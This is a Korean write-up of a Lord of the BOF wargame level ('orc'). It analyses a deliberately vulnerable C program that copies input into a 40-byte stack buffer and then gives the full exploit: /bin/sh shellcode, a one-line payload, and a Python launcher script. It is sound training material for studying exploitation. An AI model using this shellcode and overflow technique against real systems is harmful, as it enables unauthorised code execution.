goblin / hackers proof
/*
The Lord of the BOF : The Fellowship of the BOF
- orc
- egghunter
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
0x01. Analysis
이번 문제부터 조금씩 재밌어 진다.
먼저 egghunter라고 해서 스택에 복사된 환경변수 영역을 0으로 초기화 한다. (즉, 앞서 환경변수를 이용하여 쉘코드를 넣는 방식은 먹히지 않는다.)
그리고 argv[1]의 48번째 값이 “\xbf”인지 확인한다.
buffer의 크기가 40byte 이고, SFP 4byte, 그리고 RET 4byte가 들어가므로 argv[1] 배열에 48번째가 “\xbf”라는 것은 RET에 들어가는 첫번째 주소가 “\xbfxxxxxx”라는 점이다. 아래 사진을 보면 알 수 있다.
그러면 “\xbf”로 시작하는 주소는 어느 부분일까?
cat /proc/self/maps
명령어를 주면 현 시스템의 map 테이블을 볼 수 있다.
보통 리눅스 시스템에서 0x08xxxxxx 주소는 코드영역으로 사용되어 지고, 0x40xxxxxx는 라이브러리, 0xbfxxxxxx는 스택영역으로 사용되어 진다.
스택영역을 보면 rwx 모든 권한이 들어 있는 것을 알 수 있다.
gdb로 살펴보면 각 주소가 어느 영역인지 알 수 있다.
main함수를 디스어셈하면 0x80으로 시작되는 영역에 프로그램 코드들이 올라와 있는 것을 알 수 있다.
스택영역을 보면 역시나 0xbfxxxxxx 주소들로 이루어 진 것을 알 수 있다.
따라서 orc문제는 환경변수가 아닌 Stack영역에 쉘코드를 넣어서 풀어야 되는 문제이다. buffer 배열의 크기가 40byte로 Shellcode가 들어가기에 충분한 크기이므로 쉽게 풀 수 있을것 같다.
- buffer 배열 크기 40byte
- 환경변수 영역 0으로 초기화 (egghunter)
- strcpy를 이용하여 argv[1] 인자 값을 buffer 배열로 복사
- RET 첫 1byte ‘\xbf’로 시작
0x02. Exploit
shell(24byte) = \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
buffer의 크기가 40byte이므로 쉘코드(24byte)가 들어갈 수 있는 충분한 크기이지만 필자는 NOP크기를 적당히 크게 넣는걸 좋아해서 buffer배열에 쉘코드를 넣지 않고 RET 아래에 쉘코드를 넣을 것이다.
buffer 배열에 Shellcode를 넣는 방법, 그리고 RET주소 뒤 Stack영역에 Shellcode를 넣는 방법 모두 해보는 것을 추천한다.
정확한 스택 주소를 얻기 위해 core를 떨궈준다.
“S”가 들어간 위치가 쉘코드 24byte를 넣을 자리이다.
NOP 주소 중 적당한 0xbffffa60 주소를 RET에 넣으면 될 것 같다.
[goblin@localhost goblin]$ ./orc `python -c 'print "A"*44+"\x60\xfa\xff\xbf"+"\x90"*50+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
import os
import struct
append = lambda x: payload + x
p32 = lambda x: struct.pack("<I", x)
target = "/home/goblin/orc"
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
shellcode_addr = 0xbffffa60
payload = "\x90"*44
payload = append(p32(shellcode_addr))
payload = append("\x90"*50)
payload = append(shellcode)
pid = os.fork()
if pid == 0:
os.execv(target, (target, payload))
else:
os.waitpid(pid, 0)